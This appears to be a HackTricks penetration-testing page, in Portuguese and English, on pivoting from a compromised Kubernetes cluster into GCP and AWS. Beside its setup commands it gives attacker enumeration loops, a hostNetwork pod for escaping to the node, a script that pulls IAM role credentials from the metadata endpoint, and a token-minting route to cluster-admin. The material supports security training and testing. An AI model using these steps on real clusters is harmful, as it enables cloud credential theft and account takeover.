Kubernetes Pivoting to Clouds
Reading time: 14 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
GCP
Se você está executando um cluster k8s dentro do GCP, provavelmente vai querer que alguma aplicação rodando no cluster tenha acesso ao GCP. Há 2 maneiras comuns de fazer isso:
Mounting GCP-SA keys as secret
Uma forma comum de dar acesso a uma aplicação kubernetes ao GCP é:
- Crie um GCP Service Account
- Atribua a ele as permissões desejadas
- Faça o download de uma chave json do SA criado
- Monte-a como um secret dentro do pod
- Defina a variável de ambiente GOOGLE_APPLICATION_CREDENTIALS apontando para o caminho onde o json está.
warning
Portanto, como um attacker, se você comprometer um container dentro de um pod, você deve checar por essa env variable e json files com credenciais do GCP.
Relating GSA json to KSA secret
Uma forma de dar acesso de um GSA a um GKE cluster é vinculando-os desta forma:
- Crie um Kubernetes service account no mesmo namespace que seu GKE cluster usando o comando a seguir:
kubectl create serviceaccount <service-account-name>
- Crie um Kubernetes Secret que contenha as credenciais da GCP service account à qual você deseja conceder acesso ao GKE cluster. Você pode fazer isso usando a ferramenta de linha de comando
gcloud
, como mostrado no exemplo a seguir:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Vincule o Kubernetes Secret à Kubernetes service account usando o comando a seguir:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
No segundo passo foram definidas as credenciais do GSA como secret do KSA. Então, se você conseguir ler esse secret de dentro do GKE cluster, você pode escalar para essa GCP service account.
GKE Workload Identity
Com o Workload Identity, podemos configurar a Kubernetes service account para atuar como a Google service account. Pods executando com a Kubernetes service account autenticarão automaticamente como a Google service account ao acessar as Google Cloud APIs.
A primeira série de passos para habilitar esse comportamento é habilitar o Workload Identity no GCP (steps) e criar a GCP SA que você quer que o k8s assuma.
- Enable Workload Identity on a new cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Criar/Atualizar um novo nodepool (Clusters Autopilot não precisam disso)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Crie a GCP Service Account to impersonate a partir do K8s com permissões GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Conecte-se ao cluster e crie a conta de serviço a ser usada
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Vincular o GSA ao KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Execute um pod com o KSA e verifique o acesso ao GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Verifique o comando a seguir para autenticar, caso necessário:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Como um atacante dentro do K8s você deve procurar por SAs com a iam.gke.io/gcp-service-account
annotation pois isso indica que o SA pode acessar algo no GCP. Outra opção é tentar abusar de cada KSA no cluster e verificar se ele tem acesso.
No GCP é sempre interessante enumerar os bindings e saber quais acessos você está concedendo às SAs dentro do Kubernetes.
Este é um script para iterar facilmente por todas as definições de pods procurando por essa annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM role for Pods)
Uma forma (desatualizada) de atribuir IAM Roles aos Pods é usar um Kiam ou um Kube2IAM server. Basicamente, você precisará executar um daemonset no seu cluster com uma espécie de privileged IAM role. Esse daemonset será o responsável por conceder acesso a IAM Roles aos pods que precisarem.
Primeiro de tudo, você precisa configurar quais roles podem ser acessadas dentro do namespace, e isso é feito com uma annotation dentro do namespace object:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Depois que o namespace estiver configurado com as IAM roles que os Pods podem ter, você pode indicar a role que deseja em cada pod definition com algo como:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Como atacante, se você encontrar essas anotações em pods ou namespaces ou em um servidor kiam/kube2iam em execução (provavelmente em kube-system) você pode imitar todo o role que já é usado por pods e mais (se você tiver acesso à conta AWS, enumere os roles).
Criar Pod com IAM Role
note
O IAM role a ser indicado deve estar na mesma conta AWS que o role kiam/kube2iam, e esse role deve ser capaz de acessá-lo.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role para Service Accounts do K8s via OIDC
Esta é a forma recomendada pela AWS.
- Antes de tudo você precisa create an OIDC provider for the cluster.
- Depois você cria um IAM role com as permissões que o SA irá requerer.
- Crie uma trust relationship between the IAM role and the SA (ou com os namespaces, dando acesso ao role para todos os SAs do namespace). A trust relationship irá principalmente checar o nome do provedor OIDC, o nome do namespace e o nome do SA.
- Finalmente, crie um SA com uma annotation indicando o ARN do role, e os pods rodando com esse SA terão acesso ao token do role. O token é escrito dentro de um arquivo e o caminho é especificado em
AWS_WEB_IDENTITY_TOKEN_FILE
(default:/var/run/secrets/eks.amazonaws.com/serviceaccount/token
)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Para obter aws usando o token de /var/run/secrets/eks.amazonaws.com/serviceaccount/token
execute:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Como atacante, se você puder enumerar um cluster K8s, verifique por service accounts with that annotation para escalate to AWS. Para isso, simplesmente exec/create um pod usando uma das IAM privileged service accounts e roube o token.
Além disso, se você estiver dentro de um pod, verifique variáveis de ambiente como AWS_ROLE_ARN e AWS_WEB_IDENTITY_TOKEN.
caution
Às vezes a Turst Policy of a role pode estar bad configured e, em vez de dar AssumeRole access ao service account esperado, ela dá para all the service accounts. Portanto, se você for capaz de escrever uma annotation em um service account controlado, você pode acessar o role.
Confira a following page for more information:
Encontrar Pods e SAs com IAM Roles no Cluster
Este é um script para facilmente iterar por todas as definições de pods e SAs procurando por essa annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role to cluster-admin
A seção anterior tratou de como roubar IAM Roles com pods, mas note que um Node do cluster K8s será uma instance inside the cloud. Isso significa que o Node tem alta probabilidade de ter um IAM role que você pode roubar (observe que normalmente todos os nodes de um cluster K8s terão o mesmo IAM role, então pode não valer a pena tentar verificar cada node).
Para acessar o node metadata endpoint você precisa:
- Estar em um pod e ter o metadata endpoint configurado para pelo menos 2 tcp hops. Esta é a misconfiguração mais comum, pois geralmente diferentes pods no cluster precisarão de acesso ao metadata endpoint para não quebrar, e várias empresas simplesmente decidem permitir acesso ao metadata endpoint a partir de todos os pods do cluster.
- Estar em um pod com
hostNetwork
enabled. - Escapar para o node e acessar o metadata endpoint diretamente.
(Observe que o metadata endpoint está em 169.254.169.254 como sempre).
Para escapar para o node você pode usar o seguinte comando para rodar um pod com hostNetwork
enabled:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Steal IAM Role Token
Anteriormente discutimos como attach IAM Roles to Pods ou até como escape to the Node to steal the IAM Role que a instância tem anexada.
Você pode usar o seguinte script para steal suas recém-conquistadas IAM role credentials:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
Em resumo: se for possível acessar o EKS Node IAM role a partir de um pod, é possível comprometer todo o kubernetes cluster.
For more info check this post. Como resumo, a default IAM EKS role que é atribuída aos EKS nodes por padrão recebe a role system:node
dentro do cluster. Essa role é muito interessante, embora seja limitada pelas kubernetes Node Restrictions.
No entanto, o node pode sempre gerar tokens para service accounts que estejam rodando em pods dentro do node. Então, se o node estiver executando um pod com um privileged service account, o node pode gerar um token para esse service account e usá-lo para se passar pelo service account, como em:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
Referências
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.